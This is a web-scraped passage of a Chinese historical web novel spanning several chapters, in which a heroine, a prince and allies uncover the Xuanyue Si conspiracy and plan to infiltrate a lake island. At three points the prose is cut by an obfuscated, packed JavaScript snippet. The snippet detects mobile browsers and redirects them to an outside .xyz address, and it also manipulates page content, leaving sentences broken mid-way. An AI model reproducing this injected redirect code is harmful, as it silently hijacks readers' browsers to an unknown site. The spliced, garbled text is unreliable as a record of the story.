她失魂落魄,心中一遍遍地问自己:历史上的叶斯年,究竟是谁?是我,是斯年,还是瑾年?她到底做了什么,竟让李清荣讳莫如深,要将她困在叶府,不许她接触皇室? 青枝端来一碗姜汤。叶斯年低垂着眼,不敢与青枝对视:“想知道吗?可能有点危险。你走不走?”她害怕看见青枝犹豫的眼神。 青枝没有回答,将一碗姜汤递给了她:“走什么呢,我现在是叶青枝。” 叶斯年抬眼与青枝相视一笑,紧绷的神经终于稍稍松弛下来。几天前,她曾与叶绍提起青枝的事情,担心未来局势动荡,想为青枝留一条后路。青枝身手不凡,进宫做侍女实在屈才,且宫中规矩繁多,到处是皇后的眼线,难免要受刁难。她不愿让青枝受这样的委屈。于是,这件事便就此定下。 “是玄月司,前朝余孽。”叶斯年语气幽幽,向青枝讲述起方才叶绍的话,却有意抹去了有关李清荣和赵诘的部分。 玄月司,自前朝起便已根植于这片土地。霓裳馆与花月阁皆是它的触手。李氏不过是大沅开朝时被玄月司选中傀儡。 李家凭借玄月司的资源迅速崛起,到了李谟远掌权时,才试图摆脱其掌控。结果,不仅被玄月司牢牢缠住,更因权势膨胀而招致皇室的忌惮与压制。如今,李家枝繁叶茂,表面风光,但分支早已被玄月司腐蚀殆尽。即便李谟远有意退位以保全家族,也已深陷泥潭,难以脱身。 正如叶绍所言:“若能鱼死网破,就是李谟远最好的结局了。” 然而,玄月司的触手岂止李家?朝堂上下的高官显贵与世家大族,又有几个能免于沦落这罪恶深渊? 在叶绍北伐之前,他曾与官家立下军令状。官家深知,唯有北境安定,无战事之忧,才能着手拔除玄月司。玄月司盘根错节,其触手牵涉众多官员和王爷,一旦动手,朝野必定陷入混乱,大沅也难免再次动荡。 更为棘手的是,玄月司手中握有赵家皇室的丑闻。一旦这些丑闻曝光,皇室威严将轰然坍塌,朝局也势必陷入动荡。当年官家得位不正,局势已然风雨飘摇。这正是为何赵诘当年只能一把火烧了霓裳馆泄愤,却无法对玄月司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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瑾年挺直了腰,认真说道:“危险才更要带上我!没有我,你被人窃听了还不知道呢!” “行,那就用你聪明的脑袋瓜,凭借方才的对话,还有我们的表情神态,说说看,我们要干什么,又有什么危险。”叶斯年认真起来,语气中透着期待。瑾年的确是个少有天才,观察力细致、分析能力超群。 可瑾年毕竟才十五岁。虽说叶斯年现在的身体也只有十六岁,但看着眼前比自己实际年龄小一半的孩子这样莽莽撞撞,她心里终究还是忍不住一阵担忧。 瑾年嘟着嘴,一脸不满意地思考了片刻,随即正色说道:“依我看,你们是想对付一个叫玄月司。如今的花月阁,还有你们刚才提到的嘉和年间的霓裳馆,都是玄月司手下。” 她停顿了一下,目光落在叶斯年身上:“花梧,原本就是花月阁要买的人。结果被你们抢了过来,这下玄月司一定觉得,是不是因为爹爹平定北境,朝局稳定了,官家想联合太子和我们叶家对他们动手了?” 叶斯年没有立刻回应,只是低头思索了片刻,随后缓缓点头:“这事我说了不算,你去找爹爹吧。” 瑾年气得直跺脚,正想继续争辩,叶斯年却挥了挥手:“把她带走,我要休息了。” 瑾年还在一旁不依不饶,叶斯年却转头对青枝笑道:“我们后日收拾东西就走。” 润州途经长安。赵渊赴任,随行的家眷与大量器物拖累了行程,脚程缓慢。但这几日应当也快到了。 32.前任 韩婉松开手便转身要走。叶斯年忙挽住她的手:“婉儿找我有事?” 韩婉板着脸冷冷地说:“郡主与这位公子商议便是,何时启程,知会一声就是了。”说完,头也不回地离开了。 赵煜看着她的背影,忍不住嘀咕了一句:“老学究。” 韩婉虽未回头,却偏过脸:“浪荡子。” 赵煜被堵得一噎,还想反驳,叶斯年却揉了揉太阳穴斥声道:“你能不能安静点,我头疼。” 赵煜见状,连忙伸手想替她揉揉太阳穴,却被叶斯年一把拍开:“坐下,小点声” 她坐直身子,稍作清理思路:“我跟你简单说说吧。韩婉可能知道些什么,但她不愿多言。不过,她是个值得信任的人,一路同行务必要保护她们的安危。” 赵煜根本没听叶斯年说什么,一脸不悦地说:“你怎么就不问问?” “问什么?” “我跟她认识啊。” “认识就认识呗。”叶斯年言语间显得漫不经心。 赵煜顿时更加不高兴了,语气里带了点委屈:“你对我就一点不好奇吗?” 叶斯年抬眼看着他,却不想说话。 赵煜见她不理,继续自顾自地说道:“知己知彼。我们就算是合作对象,就算你真要利用我,也得多少了解了解我吧。你什么都不问,都不关心我的。” “想让我问什么?你说,我问。” 赵煜被问得一时语塞,憋了半天,最后闷闷地撇过头去:“没劲,不说了。” “不说就不说吧,”叶斯年揉了揉眉心,语气淡淡,“回去吧,我想歇会儿。” 赵煜一来一回地自说自话,把自己气了个半死,却还是忍不住瞥了她一眼,见她满脸倦意,终究将满腹的话咽了回去,只闷闷地叮嘱了一句:“记得起来吃午饭,下午再说吧。” 他起身离去,背影透着几分说不清道不明的情绪。叶斯年看着他的背影,无奈地摇了摇头,倒头就睡了。 赵煜刚踏出房门,便看见瑾年探头探脑地在走廊间四下张望。见状,他朝她招了招手,瑾年立刻紧张兮兮地回过头去,连带着把卫珩也一并暴露了。赵煜不动声色地做了个噤声的手势,领着两人去了另一处院落。 “韩婉怎么回事?怎么突然就要跟着走了?你阿姐怎么就同意了?还有你,你也要去?” 赵煜一连发问,语气急促。瑾年有些紧张,张了张嘴却不知如何作答。卫珩在旁低声提醒:“殿下,你这样吓到她了。” 瑾年连忙猛点头,露出一副求助的模样。赵煜瞥了卫珩一眼:“那你替我问问?” 卫珩便将赵煜的话复述了一遍。瑾年这才急急忙忙从袖口里摸出一张折好的纸,小心翼翼地递过去:“这是韩婉那天写的诗,阿姐喝多了没看到。不过,应该和这个有关。” 赵煜接过来展开一看,喃喃道:“‘忘俗客’……有趣。玄月,霓裳……韩婉这老学究知道的东西还真不少。”他顿了顿,目光微沉,“只是不知道关键时候,她会站在哪边。” 瑾年闻言,立刻拍着胸脯表态:“殿下,您可是我未来姐夫,我当然站您这边!” 赵煜眉目舒展,心情大好。他抬手拍了拍卫珩的肩膀:“好好护着诸位娘子们,尤其是二娘子。” 叶斯年一觉睡到晌午,周苓遣人来催她起床用膳,她才迷迷瞪瞪地睁开眼。吃过午饭,她便将众人召集过来,准备商议接下来的安排。 “不能全都动身去长安,目标太大。”叶斯年扫视了一圈,“瑾年和思醴留在这里等父亲,韩婉跟我们走。” 瑾年撅起嘴,满脸不情愿,但到底没有反驳。叶斯年接着说道:“我们处理完事情就会送信回来,到时候你们再出发,咱们从长安一起回瑶京。”思醴倒是爽快地点头同意,拉着瑾年悻悻地离开了。 暂定出发去长安府的,便是叶斯年、赵煜、卫珩和韩婉四人。叶家军的精锐早已分散行动,四人也得尽快启程。 “我们什么时候出发?”韩婉问道。 赵煜靠在一旁,语气凉凉地接话:“你这么急,做什么?” “殿下何以见得我急了?”韩婉神色如常,反问道。 赵煜挑了挑眉:“二哥在长安夜夜笙歌,你不急?” 叶斯年闻言一愣,抬头看向两人,发现赵煜和韩婉之间的气氛已然剑拔弩张。 赵煜不客气地开口:“我不知道你到底想干嘛,但郡主选择信任你,我尊重她的判断。你最好别动什么心思。” 韩婉拉长了脸:“殿下这话,韩婉可担不起。二殿下既已上任,如何作为,自有他一番道理,与韩婉何干?韩婉此行,不过是猜着殿下与郡主谋划大事,想着能帮上一点忙罢了,殿下多虑了。” “行了行了,你们能不能消停会儿?”叶斯年按了按眉心,只觉得头疼,“今晚出发。卫珩,线路的事稍后你确认一下。” 赵煜和韩婉双双住了嘴。 几人各自去安排出发事宜,叶斯年正想找周苓说几句话,却被赵煜拦下了。 “你想躲我到什么时候?这趟从长安回去,赐婚的圣旨可就要下来了。”赵煜少见地收起了平日里那副笑嘻嘻的模样。 叶斯年停下脚步:“我没躲你,不是都说好了吗?到时候进宫陪你就是了。” 秋阳正暖,枫叶流金。赵煜立若芝兰玉树,在阳光下愈显风采。 叶斯年也乐得与他多聊几句,好声好气:“别绷着脸了,干嘛非把气氛弄得这么僵?” 赵煜盯着她,语气不由得软了下来:“那你怎么总是躲着我?咱们好好相处才是。” “你要是会好好说话,我自然也会好好相处。”叶斯年话里透着几分揶揄。 他瘪了瘪嘴,像是懊恼,又像是在平复情绪。片刻后,他话锋一转,把瑾年刚刚递来的诗笺从怀里掏出来递给叶斯年:“韩婉这人,你怎么看?” 叶斯年接过诗笺,看了他一眼:“怎么突然问起这个?” 叶斯年一看就愣住了,她记得韩婉洋洋洒洒写了一首诗,但确实没听清。 “破红尘……”叶斯年低声喃喃。前几日大家交换了不少信息,叶斯年也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她从小就是一副老学究模样,叨叨得让人头疼。小时候我们几个都被她耍得团团转,翰林院那群老学者一个个都对她赞不绝口,官家甚至动过让她入朝为官的念头。”赵煜揉了揉眉心,语气里夹杂着无奈,“带着她,确实能算作一大助力。不过……赵渊的事上,我不确定她是不是能拎得清。” “怎么说?” “我也说不好。”赵煜略一沉吟,“赵渊毕竟是皇子,为人不坏。就算他和我再怎么争,也绝不会做出什么有伤大体的事。不过这次他主动请缨去长安府,实在让人捉摸不透。那座新楼眼看着要开业,多半已经跟他谈妥了。至于韩婉和赵渊……”他说到这里顿了顿,眉头微蹙,“她对赵渊的态度,就像你对我的一样。” “是很烦的意思吗?”叶斯年略带疑惑地问。 赵煜顿时黑了脸:“我是说韩婉跟赵渊说话,总是夹枪带棒的!” “她跟谁说话不是这样,不都是阴阳怪气的吗?” “不一样。”赵煜神色认真,“你是真没情根吗?她那语气你听不出来?” 叶斯年没有接话,她明明记得那晚韩婉醉醺醺地说赵渊是浪荡子。 “从前他们俩总是有说有笑,还常常一唱一和,大家心里都明白是怎么回事。”赵煜语气里带着几分揶揄,“可后来,不知怎么的,赵渊府上的宠姬一个接一个地换,却始终不肯议亲。韩婉也渐渐少了进宫,只有赵玥邀请时,才偶尔露个面。” 叶斯年若有所思,忽然一拍大腿:“你放心,韩婉这么聪慧,肯定拎得清!赵渊就是她的渣男前任,绝不会耽误她搞事业。她要是真拎不清,第一个骂她的就是我。” 话音刚落,叶斯年便想起还得去找周姨娘。这时,周家的家仆匆匆赶来禀报:“水军都指挥使司的人来了,说是有急事求见郡主。” 33.沧渊 “明煊!”叶斯年看着来人,心里打了个咯噔。 叶家的驻军与水军都指挥使司向来不睦,方才远远见水军的一队人马急速朝周家山林而来,立刻将其拦下。为首的竟是一名女子,身着贴身劲装,外罩一件略显陈旧的斗篷披风,腰间还系着一柄长刀。 她利落翻身下马,拱手道:“在下杨明煊,有急事要见东华郡主。” 来者是杨家娘子,由水军都指挥使司护送倒也合乎情理。叶家军虽心存戒备,却不敢怠慢,当即遣人入内通报。然而,杨明煊等不及,直闯周家院落。 叶斯年匆匆赶到院门口,只见杨明煊风尘仆仆地立在院中,四周被叶家军围得水泄不通。虽然双方尚未动手,但气氛已然剑拔弩张。杨明煊一见到叶斯年,眼圈微微泛红,焦急地快步上前,一把抓住她的手,头也不回地往里走。她脚步凌乱,叶斯年也跟着紧张起来。一行人也忙不迭地跟了过去。 进了内院,众人围坐一堂,杨明煊这才稍稍平复心绪,将这几日的所见所闻细细复盘道来。 杨明煊一行三人抵达青阳县时,立刻察觉到城中的异样气氛。这地方显然并非什么没落小县。 行人川流不息,商贾来往间流露出几分匆忙与戒备。街头许多茶馆、饭店,显然是为接待络绎不绝的商客而临时开张。店门口常有腰佩刀剑的护卫把守,装束与漕帮人迥然不同。更诡异的是,街头竟出现了不少异域面孔。 “这也太热闹了吧?”青枝小声嘟囔,“不是说不富庶吗?” 叶承勇环顾四周:“的确不对劲,都小心点。” 他向码头的几名漕运兄弟打听段风的下落,怎知几人纷纷表示没听过这号人物,露出疑惑的表情,上下打量着三人承勇只好假意段风曾经欠他钱,听说他在这带漕帮讨生活,刚好路过,就打听一下。 旁边一位漕帮老人若有所思地说道:“这里早就不是段爷当家的地盘了。几位哥儿,若是来找段爷的,还是趁早离开吧。” 当年润州被海寇围困,凌江水路屡遭封堵,段风率领漕帮冒险从瑶京运送物资,经由青阳县转运至润州前线,为叶家军解了燃眉之急。也正因此,青阳县的小码头有了雏形。彼时,他与叶绍父子并肩作战,浴血奋战,与叶家结下了过命的交情。 海寇平定后,润州重回繁华。段风见局势已稳,将润州漕帮的生意交由侄儿打理,自己退回青阳县,清闲度日。他重新修建了这处小码头,让本地百姓谋生,并与盘踞支流的乡党达成微妙的平衡。按理说,在这一带,漕帮兄弟鲜有人不识段风之名。 那老者话里有话,叶承勇心中生疑,但眼下情况紧急,他只能按下疑虑,先行离开。 三人乔装成商客,混在一队刚下船的富商中,沿着小道缓缓向青阳县中心靠近。路边一个临时歇脚的茶摊,店家和几个村民模样的人正围坐闲聊。路过时,隐约听见有人低声说道:“昨夜又听见那哭声了,真是瘆人!” 另一个人惶然接话:“别提了,上次说这事儿的三叔,到现在都没回来。” 正说着,一位年迈的老人狠狠拍了下膝头:“瞎嚼什么舌头!祸从口出!再乱说,小心连家里的米粮都叫人抄了!” 周围人顿时噤若寒蝉,一个个缩着脖子散去,脚步匆匆。月光洒在他们的黝黑面庞上,整个青阳县透着一股压抑的死寂。 三人跟在陆陆续续的人群后,默默向村落深处走去。脚下的泥路坑坑洼洼,四周静得出奇。叶承勇心中不安,隐隐觉得前方有异,便试图向其他商客打听去往何处。谁知对方只是诧异地看了他一眼,随即摆摆手,闭口不言。 一路深入青阳县腹地的村落,脚下的道路愈发狭窄泥泞,两旁杂草丛生,偶有枯树横亘。走到这里已无法再行步道,众人换乘小舟。 狭窄的河道上,薄雾氤氲,视线模糊难辨前路。行至一处河湾前,忽然看到一道木制栅栏横亘水面。几名守卫分立两侧,手中长枪在微光中映出寒意。每一艘靠近的船只都被拦下,同行的商人们早已准备妥当,纷纷掏出请帖递上,经守卫仔细核查后方才放行。 叶承勇、杨明煊和青枝互换了一个眼神,假意在行囊中翻找物品,动作间却暗自观察守卫的反应。杨明煊的目光透过栅栏缝隙,细细打量,低声说道:“这些守卫,不是漕帮的人。” 三人不想打草惊蛇,也无意生事端,主动下了船。叶承勇上前搭话,与守卫寒暄试探:“我们是经水路去长安的商客,途中船只故障,未能到润州,只能改道从这里前往长安府。” 守卫闻言,目光中透出一丝狐疑:“这里没有请帖通行不了。要去长安,从旁边树林绕过去,攀过那座小山,便是通往长安的古驿道。” 那几名守卫的眼神时不时在三人身上扫过,飘忽不定。青枝悄悄靠近杨明煊,小声说道:“起疑了。” 杨明煊也察觉到气氛不对,拉了拉叶承勇的袖子:“别纠缠,回村。” 叶承勇点了点头,朝守卫笑了笑,拱手道谢:“多谢兄台指点,我们回村歇脚,天亮再赶路,不多作叨扰。”说罢三人迅速转身离开,却察觉到身后有守卫远远跟随。 按照韩婉的说法,前方应是沧渊湖,湖心有一座人迹罕至的小岛。此刻,风中却隐约传来一阵喧嚣。薄雾随风散尽,河湾处的水面竟映出一片灯火辉煌。 三人匆匆返回村中,寻了一处客栈歇脚。夜色昏暗,看不清人脸,直到进了屋点上灯,才发现,这客栈的掌柜竟是段风。 “叶兄弟?你怎么会出现在这里?”段风压低声音,一边说一边将他们带进了里屋。 “段爷?你怎么会躲在这儿?发生了什么事?”叶承勇看着段风,眼圈微微泛红。 段风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804682|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年近五旬,身材高大魁梧,皮肤黝黑,眉间一道刀疤尤为显眼。然而此时,他却刻意弓着背,低头收敛,极力避免被人注意。 “你们到这里来,是有事还是路过?”段风声音低沉,眉头紧锁。 “段爷怎么会在这里?”叶承勇追问,“刚才我们在码头打听,漕帮兄弟竟有不识您名号之人?” 段风刚要开口,大门忽然传来一阵敲门声。屋内众人顿时屏住呼吸,段风起身开门,领着一位年迈老者走了进来,正是先前在码头上提醒他们趁早离开的那位。 段风关上门,回身介绍道:“这位是老闵头,自己人。”顿了顿,又补充道,“这几位是我的侄儿们。” 老闵头打量了几眼,低声说道:“段爷,我寻过来,就是提醒您,刚才码头有人找,说您欠了钱。段爷怎么可能欠人钱?瞧这几个哥儿姐儿面生,我寻思着是有蹊跷。” 段风看向叶承勇三人,脸色一沉:“既然都到这儿了,就别兜圈子。你们几个,若是路过的,我立刻安排人送你们离开;若是有事,且说来我听听。” 三人对视一眼,最后还是叶承勇开口:“我们原本是去长安府办事,偶然路过,却发现这里似乎有些不对劲。兴许跟我们要调查的事有关,不能不查探清楚。” 段风闻言,脸色变得愈发冷峻:“你们可是冲着长安府新起的那个花月阁去的?” 三人愕然,段风压低了声音厉声道:“那东西不过是幌子!沧渊湖的湖心岛,才是罪孽深渊!” 老闵头急忙劝道:“段爷,这事儿……” 段风摆了摆手:“老闵头,你放心。这几个侄儿既然来了,说明朝廷已经有动作了。” 老闵头眼圈一红,上前紧紧握住叶承勇的手,声音发颤:“官爷,求您一定要为百姓们作主啊!”话音未落,他作势就要跪下。 叶承勇急忙扶住他,眉头紧锁:“您别急,究竟出了什么事?” 一旁的杨明煊急切追问:“老闵头,到底怎么回事?” 叶斯年急急握着杨明煊颤抖的手:“明煊,到底怎么回事?” “那个湖心岛,几年前便开始大兴土木。段爷觉得蹊跷——那么偏僻的地方,为何建楼?于是暗中留意。不久便发现是瑶京花月阁的人在操控。对方察觉段爷在调查,立即起了冲突,手段极其毒辣。段爷身负重伤回了润州,而青阳县则彻底落入他们手中。村民被强迫去建楼,整个村子被封锁,连只鸽子都飞不出去。” “最近,湖心岛渐渐热闹起来,来往人流骤增,段爷这才在老闵头接应下悄悄回到青阳县,开了间客栈,探查商客的消息。” 杨明煊攥紧拳头,颤抖着说:“童男童女!他们抓了许多孩子,还有伶人、名妓,全都送到湖心岛上!听说岛上藏着什么延年益寿的秘术,其实做的,全是天理不容的勾当!” 34.蜜罐 众人不语,沉重的气氛如巨石压顶,极端的罪恶让人难以开口,亦无从消化。 叶斯年猛地转头看向赵煜,压抑不住的愤怒让她声音微颤:“大沅盛世?简直荒唐至极!” “你调查多年,怎么就没发现这个湖心岛?童男童女、长生、秘术,哪一样不是血淋淋的罪恶?”她的双眼微红,“为什么,无论在哪,最终都会这样?” 赵煜紧闭双眼:“古往今来,人性如此,不是吗?” “你早就知道,所以特意提湖心岛,把他们引过去。”叶斯年目光如刃,直盯着韩婉,语气冷厉。 韩婉没有正面回答,只是反问:“两位殿下,去吗?” “去。”叶斯年咬牙吐出这个字,“不过,但你是不是该解释一下?” 站在两人中间的范思醴连忙出来打圆场:“婉儿,这事一定有什么误会吧?你快说清楚啊!” 韩婉长叹一声:“殿下与太尉竟未察觉,长安府的那座楼不过是幌子。真正的问题,在沧渊湖的湖心岛。所以,有人令我,无论如何都要将你们引到那里。” “是谁?”叶斯年的目光冷冽,语气如刀。 “赵渊。”赵煜几乎是下意识地接话。 韩婉摇头,神色却格外坚定:“东华郡主,才是这盘棋的关键。” 杨明煊眉头紧蹙:“婉儿,你这话是什么意思?” “有人让我将郡主带到岛上。”韩婉语气平静,却如一枚重石投下。 此言一出,屋内顿时死寂,连呼吸声都变得微不可闻。 叶斯年欲追问,韩婉却抢先开口:“郡主可还记得婉儿曾说过的话吗?”她的声音透着疲惫。 叶斯年脑海中浮现韩婉当日所言——要确认她是否是那个人。她点了点头。 韩婉目光幽深,缓缓说道:“山门有言:‘东华之命,万世之前。’很多人都在寻找这个承东华之命入世的人。” 她顿了顿,继续道:“有一个组织,名为青冥堂。他们的唯一目标,就是找到这个人。他们有意避开朝廷,尤其你们皇家,因为玄月司的毒瘤早已深植其间,不是吗?” 韩婉目光冷冽:“家父曾与青冥堂有过接触,得了这则谶语。玄月司手眼通天,自然也知晓,‘破桎梏’,或许破的正是他们这层桎梏。因此,很多人都在等。” 叶斯年不由得想起花月阁东家通过太子的浮生堂递来的那封信:难道,这才是玄月司主动联系她的真正原因?当时她出手抢了花梧,才让玄月司如此紧张,以至于花月阁对班主生疑,最终逼得他走上绝路? “青冥堂脱胎于灵隐寺,对这则谶语深信不疑。他们暗中与不少权贵接触,有意散播,渲染其真实性。最初,我和许多人一样,将此事当作虚无缥缈的传说。然而,当东华郡主横空出世,一切都不同了。” 她缓缓转身,目光落在叶斯年身上:“此行之前,青冥堂辗转送来密信,直指沧渊湖的湖心岛才是玄月司核心所在。信中说,无论如何,东华郡主必须亲自前往。” 韩婉眸中寒光乍现:“叶将军凯旋,拜太尉,异姓封王,嫡女封郡主,与太子议亲——这些难道不是官家想借叶家稳定朝局,整肃朝纲的信号吗?玄月司的毒瘤早已扎根朝堂,如今时机成熟,岂能再投鼠忌器?恕婉儿直言,就算明知湖心岛是陷阱,只要能引出玄月司,郡主就必须亲自走一趟。” 她抬眸望向众人:“如今也算巧,明煊一行先行探查,已见罪恶之端。两位殿下,还去吗?” 赵煜冷笑一声:“好,那就走。我倒要看看,你背后还能有谁。” 屋内灯火微摇,众人围坐,气氛压抑而凝重。叶斯年执笔写下一封密信,折好后递给周苓:“姨娘,这封信请你交给叶家军,尽快送到父亲手中。让他改道青阳县,同时密切留意长安府的动向。” “长安府风声鹤唳,恐怕事情也不简单。” 赵煜沉声回应:“或许是调虎离山计,兹事体大,不可掉以轻心。” 韩婉开口提议:“不如分兵两路,一路直赴长安府,另一路直接去湖心岛。” 她目光一转,落在杨明煊和瑾年身上:“明煊与瑾年可乔装成郡主,率一小队杨家旧部和叶家军的精锐前往长安府。同时递上拜帖给赵渊,就说郡主陪周姨娘赴润州,返程时途经长安府,顺道拜访二皇子。” 瑾年惊得连连摆手:“又要我扮阿姐?莫要吓我!” “你与郡主容貌相近,稍加掩饰便足以蒙混过去。”韩婉解释道,“东华郡主已经成为玄月司的重点目标,就算周家山林戒备森严,出了润州地界一样无法躲过他们的眼线。我们一行人浩浩荡荡地来,返程自然也要有点动静,正好引开玄月司的暗哨。润州到长安府再到青阳县,消息传递需要时间,这段空档,足够我们行动。” 杨明煊皱紧了眉,语气中带着一丝不安:“可如果二殿下就是玄月司的人呢?我们岂不是自投罗网?” 韩婉轻叹一声,却笃定道:“赵渊不是。若他发现你们的伪装,就将这封信交给他。”说着,她从袖中取出一封密信,递到杨明煊手中。 杨明煊接过信,沉默片刻,低声问:“婉儿,你还信他?” 韩婉的嘴角浮现一抹苦涩的笑意,没有直接回应,只淡淡说道:“你们这一路,不会有危险的。” 赵煜低沉的声音忽然响起,打断了众人的争论:“瑾年的伪装早晚会被发现,但有叶家军和杨家旧部护卫,再加上长安是陪都,守卫严密,赵渊毕竟是皇子,不至于出什么事。我们趁这段时间,直奔青阳县,潜入湖心岛,揪出幕后之人。拖到叶将军领兵赶到,便能一举歼灭。” 韩婉点了点头:“殿下所言极是。” 暮色渐浓,桨声悠悠,山影叠叠。叶斯年倚在船尾扶栏旁,眺望远处润州码头飘扬的各色军旗,神色晦暗难辨。考虑到水军直闯周家估计已经引人生疑,瑾年决定天亮再与明煊一同出发。叶斯年一行人则在傍晚伪装成商客悄然登船。 赵煜大步走到叶斯年身旁,低声问道:“在想什么?” 叶斯年目光依旧落在远处,有些恍惚:“你说,我真是他们要找的东华吗?” “相由心生,相随心转。”赵煜顺着她的视线望去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812231|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶斯年微微蹙眉,抬眼看向他:“这又是什么佛偈?” 赵煜低头迎上她的目光:“你觉得你是,你便是。” 叶斯年沉默不语,转过身继续凝视远方,眉宇间尽是忧虑。赵煜解下披风,轻轻披在她肩上:“若你不愿承这东华之命,那我们就走。” “走?”叶斯年偏头看向他,眉头拧得更紧,“去哪儿?” “你跳,我也跳。”赵煜轻轻扶住她的肩膀,脸上挂着他好看的笑容,眼底波光粼粼,映着月色温柔。 叶斯年被他这句烂梗逗得笑出声,原本紧锁的眉头渐渐舒展开。 “殿下这是唱的哪一出痴情戏文?好一番生死相随的模样,倒真是演得惟妙惟肖。天寒水冷,也不怕冻着郡主。”韩婉从舱内走出来,虽风尘仆仆,却依旧神采奕奕,话里带着几分促狭,“婉儿这会儿,莫不是该识趣地避上一避了?” 话虽如此,韩婉却径直走上前,揽着叶斯年,替她系紧赵煜宽大的披风。语气一转,她正色道:“明煊说,段风那边会尽快弄到湖心岛的请帖,但我们也得做好两手准备。” 赵煜斜睨了韩婉一眼,语气里带着些讥诮:“可不敢与韩学究相提并论。这一出独角戏,倒是唱得深情款款,从瑶京唱到润州,真真令人佩服得很。” 韩婉的脸色顿时沉了下来,叶斯年见状,毫不客气地给了赵煜一记肘击,随即开口打圆场:“婉儿倒是说说,该做什么准备?” 韩婉瞥了赵煜一眼,面向叶斯年:“婉儿想听听郡主怎么打算。” 叶斯年不假思索:“假如段风拿不到请帖,我便给湖心岛递上一封拜帖。” 赵煜还在揉着手臂,闻言神色立变:“不行,这太危险了。” 韩婉却微微颔首,似乎对这个提议颇为认同。 “湖心岛四面环水,守卫森严。就算我们潜入其中,一旦被发现,难道还能全身而退?此行的目的,是揪出玄月司的幕后之人。若步步退缩,顾虑重重,只怕会重蹈当年霓裳馆的覆辙——楼是一把火烧了,背后的人却安然无恙,换个名字,又建起了花月阁。”叶斯年语气平静,却透着不容置喙的坚定。 赵煜语气坚决:“不行,得从长计议。” 叶斯年反问道:“你倒是计一个我听听?” “我不现身,他们也会想尽办法找我。不如主动现身,给他们一个目标,反而能够掌握主动权。”她略微侧身,继续说道,“在处理病毒时,有时要用‘蜜罐’技术,引它主动攻击,才能追踪到源头。现在,我就是现成的蜜罐。” 她顿了顿,继续道:“青冥堂对我这么关照,说不定也有所行动。更何况——”她嘴角微扬,带着几分自嘲,“我是山门谶语中的‘应命之人’,哪有那么容易出事。” 船行渐远,日升月落,几经争论,众人终于敲定以“蜜罐”为引的行动方案。 暮霭沉沉,青阳县的轮廓在远处隐约浮现,湿润的寒意弥漫在空气中。船舱内静谧无声,范思醴取出最后一坛桂花酿,为众人斟满:“我和周姨娘就在江上等着,诸位,旗开得胜,平安归来。” 35.探路 夜幕沉沉,码头上的篝火被浓雾吞噬,远远看去,只见一团光亮在漆黑的夜里忽明忽暗。湿冷的风夹着腥气,在青阳县的河道上来回飘荡。船夫匆匆卸货,低声交谈几句,便在守卫的呵斥下急急撑船离去。岸边有守卫举着火把来回巡视,火焰发出呼呼声,好像这死寂的夜色中隐隐的心跳。 叶斯年一行人刚靠近码头,就看见老闵头和青枝伪装成码头上的脚夫,候在不远处。两人衣衫单薄,背着破旧的麻袋,见他们到了,忙不迭地迎上前,一边低声问候,一边装作熟稔地接过他们的行李:“客官,夜色深了,这边请,前头客栈里有歇脚的地方。” 突然,一个壮汉大步走来,语气粗声质问:“老闵头,现在不是谁都能上岸的,你不懂规矩吗?” 老闵头闻言,顿时火冒三丈,嗓门也提了起来:“老子在这码头风里来雨里去干了一辈子的漕运,吃的就是这碗饭!现在连当个脚夫接点活都要被你们横加指点?你们不要欺人太甚!”他骂骂咧咧,手却不动声色地接过赵煜手中的包袱,趁势将一张帖子塞到赵煜手里。 壮汉冷哼一声,抱拳向赵煜一行道:“前方查得严,没请帖一律不得通行。几位若只是路过,还请绕行别处。” 叶斯年心头一紧:查请帖不是在沧渊湖边吗?怎么在码头就开始盘查?难道出了什么变故? 赵煜神色如常,从容地从袖中取出老闵头悄悄塞给他的请帖递了过去。壮汉接过细看了几眼,随即皱起眉头:“这请帖上的人数不对啊。” 赵煜闻言,一把揽住叶斯年的肩,语气豪迈:“家中娘子送我一程,不上岛,就在前头客栈歇歇脚。” 此时的赵煜简单易容,肤色略显黝黑,额角一道浅浅的灼痕延至右颊,一身素净衣袍,乍一看与那些常年奔波水陆、风尘仆仆的行商并无二致。 壮汉闻言,揶揄道:“客官好福气,娘子不恼不说,还肯陪着到这种地方。”说罢,挥了挥手,示意放行。 叶斯年抬眼看了老闵头一眼,发现他额角已沁出一层细汗。老闵头低声催促:“快走,别耽搁,这地方久留不得。” 灯影昏暗,油灯吐着缕缕黑烟。青枝一进客栈便急切问道:“明煊呢?怎么没一起来?” 叶斯年简要解释:“明煊和瑾年去了长安府,探查那边的动静。” 叶承勇闻言,脸色沉了下来,低声说道:“巧了,我正打算提,怕是得派人去长安府。” 赵煜眉头一拧,语气透着几分急切:“出什么事了?” 叶承勇坐直了身子,神色凝重:“花月阁的新楼——天香楼,这几天已经开业了。” 随后,他娓娓道来:几天前,段爷的客栈里住进一个落单的商客。此人完全不懂岛上规矩,也雇不起护卫。言谈中,那人透露,自己手里有一张湖心岛的半票,过几日才可上岛,且必须天亮前离开。更提到,出了湖心岛,他打算转去长安府新开的天香楼逗留几日。 